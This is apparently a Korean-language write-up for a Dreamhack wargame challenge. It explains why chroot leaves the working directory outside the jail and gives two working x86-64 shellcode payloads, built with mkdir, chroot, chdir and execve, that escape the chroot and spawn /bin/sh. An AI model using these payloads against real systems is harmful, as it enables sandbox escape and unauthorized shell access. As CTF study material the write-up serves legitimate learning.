how to breakout chroot with root privilege 2 ( In-depth analysis )
해당 글을 먼저 읽고 오면 편하다.
https://dreamhack.io/wargame/challenges/404
해당 문제를 풀면서 얻은 지식을 다룬다.
이 문제에서는 코드중에
C
int sandbox()
{
return chroot("/home/cube/cube_box");
}다음과 같은 함수가 실행된다. 먼저, 이 chroot에 대해서 자세히 알아보자
참고로
C
pwndbg> info proc cwd
process 300135
cwd = '/home/chall'이런식으로 디버깅중에 cwd를 볼 수 있다.
그렇다면 우리는
C
int sandbox()
{
return chroot("/home/cube/cube_box");
}이런식으로 프로세스 내에서 작동을 해도 CWD 가 바뀌지 않는 것을 알 수 있다.
이말은 즉, 저렇게 chroot를 해도 CWD가 chroot 밖에 있다면, 상대경로로 바깥을 계속 접근할 수 있게 된다.
따라서 상대경로로 접근하는 다음과 같은 일반적인 shellcode로도 가능하다.
C
shellcode = asm('''
/* chdir("../../../../../") */
xor rdi, rdi
lea rdi, [rip + path]
mov rax, 80 /* sys_chdir */
syscall
/* chroot(".") */
xor rdi, rdi
push 0x2e /* "." */
mov rdi, rsp
mov rax, 161 /* sys_chroot */
syscall
/* execve("/bin/sh" , 0 , 0 ) */
mov rax, 0x68732f6e69622f
push rax
mov rdi, rsp
xor edx, edx /* 0 */
xor esi, esi /* 0 */
/* call execve() */
push 59 /* 0x3b */
pop rax
syscall
path:
.ascii "../../../../"
.byte 0
''')이 문제에서는 chdir로 직접 바뀐 root안으로 CWD를 이동시켰다. 따라서 프로세스 상에서만 할 수 있는 시스템콜을 통해 탈출을 해야한다.
C
shellcode = asm('''
/* mkdir(".out", 0755) */
xor rdi, rdi
push 0x74756f2e /* ".out\\0" */
mov rdi, rsp
mov rsi, 0755
mov rax, 83 /* sys_mkdir */
syscall
/* chroot(".out") */
mov rdi, rsp
mov rax, 161 /* sys_chroot */
syscall
/* chdir("../../../../../") */
/* We'll push "../../../../.." manually */
xor rdi, rdi
lea rdi, [rip + path]
mov rax, 80 /* sys_chdir */
syscall
/* chroot(".") */
xor rdi, rdi
push 0x2e /* "." */
mov rdi, rsp
mov rax, 161 /* sys_chroot */
syscall
mov rax, 0x101010101010101
push rax
mov rax, 0x101010101010101 ^ 0x68732f6e69622f
xor [rsp], rax
mov rdi, rsp
xor edx, edx /* 0 */
xor esi, esi /* 0 */
/* call execve() */
push 59 /* 0x3b */
pop rax
syscall
path:
.ascii "../../../../"
.byte 0
''')